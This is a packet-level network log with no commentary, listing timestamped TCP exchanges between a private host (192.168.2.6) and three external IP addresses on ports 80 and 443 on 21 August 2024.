Aug 21, 2024 08:32:15.726171017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726176023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726196051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726202965 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.726205111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.726227045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.726238966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.727943897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.727972031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.727984905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728056908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728060007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728066921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728072882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728079081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728101015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728108883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728110075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728117943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728146076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728161097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728179932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728195906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728228092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728290081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728298903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728312016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728343964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728410959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728416920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728429079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728434086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728440046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728451014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728471994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728499889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728516102 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.728966951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.728977919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.729032993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.729723930 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.729739904 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.729820013 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.729827881 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.730618000 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.731131077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731142044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731148958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731162071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731172085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731178999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731185913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731187105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731213093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731235981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731365919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731372118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731383085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731388092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731395006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731425047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731443882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731514931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731520891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731564045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731600046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731606960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731620073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731627941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731640100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731648922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731656075 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731657982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731667042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731667995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731693983 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731707096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731878042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731888056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731895924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731904030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731911898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731924057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731926918 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731930017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731941938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731942892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731959105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731967926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.731973886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731997013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.731997013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732007027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732016087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732019901 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732047081 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732069016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732126951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732136965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732147932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732178926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732227087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732235909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732244015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732251883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732295036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732522011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732528925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732538939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732564926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732573032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732587099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732589960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732594967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732609987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.732610941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732641935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.732656002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734088898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734102964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734117985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734160900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734167099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734167099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734181881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734186888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734214067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734215975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734225988 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734229088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734239101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734246016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734253883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734265089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734285116 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734296083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734302044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734313011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734317064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.734345913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.734359980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.747059107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747072935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747092009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747100115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747107983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747113943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747119904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747127056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.747150898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.747179985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780057907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780082941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780098915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780106068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780119896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780127048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780137062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780168056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780205965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780226946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780234098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780240059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780245066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780251980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780256987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780270100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780282974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780297995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780317068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780328035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780333996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780344963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780349970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780365944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780371904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780375957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780378103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780385971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780395985 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780421019 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780458927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780467987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780474901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780495882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780504942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780507088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780513048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780522108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780530930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780530930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780543089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780556917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780567884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780594110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780695915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780704975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780718088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780726910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780735970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780744076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780750990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780755043 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780759096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780766010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780771017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780776978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780781031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780782938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.780795097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780818939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.780833960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.785720110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785752058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785765886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785799980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785808086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785821915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785830975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785864115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.785902023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785902023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.785907984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785918951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785953045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.785974026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785979986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785990000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.785995007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786020994 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786029100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786097050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786103010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786113024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786118984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786145926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786163092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786165953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786171913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786211967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786313057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786319017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786324978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786329985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786343098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786350965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786358118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786360979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786365986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786372900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786391973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786401987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786523104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786569118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786576033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786600113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786609888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786715984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786720991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786731958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786737919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.786767006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.786777020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.788065910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788078070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788094044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788106918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788115978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788121939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788126945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.788132906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.788156986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.788172960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.788507938 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.788527012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.788608074 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.788616896 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.788948059 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.788968086 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789009094 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789015055 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789031982 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789084911 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789252996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789263964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789271116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789321899 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789390087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789396048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789401054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789406061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789438963 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789648056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789655924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789664030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789670944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789679050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789693117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789701939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789702892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789707899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.789721012 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789730072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789752960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.789796114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789803982 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789911985 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789911985 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789917946 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789983988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.789987087 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.789994001 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.790014029 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.790052891 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.790055990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790059090 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.790097952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790123940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790129900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790141106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790146112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790152073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790163040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790167093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790179014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790186882 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.790186882 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.790208101 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790311098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790318966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790323973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790328979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790333986 CEST	80	49722	162.241.203.25	192.168.2.6
